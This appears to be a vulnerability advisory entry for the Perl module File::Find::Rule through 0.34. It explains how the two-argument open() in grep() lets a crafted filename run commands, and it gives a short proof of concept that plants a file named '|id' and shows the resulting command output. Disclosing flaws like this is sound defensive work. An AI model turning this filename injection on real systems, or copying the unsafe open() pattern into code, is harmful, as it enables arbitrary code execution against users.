    Action Type Old Value New Value
    Added Description File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.

    A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.

    Example:

    $ mkdir /tmp/poc; echo > “/tmp/poc/|id”
    $ perl -MFile::Find::Rule
        -E ‘File::Find::Rule->grep(“foo”)->in(“/tmp/poc”)’
    uid=1000(user) gid=1000(user) groups=1000(user),100(users)
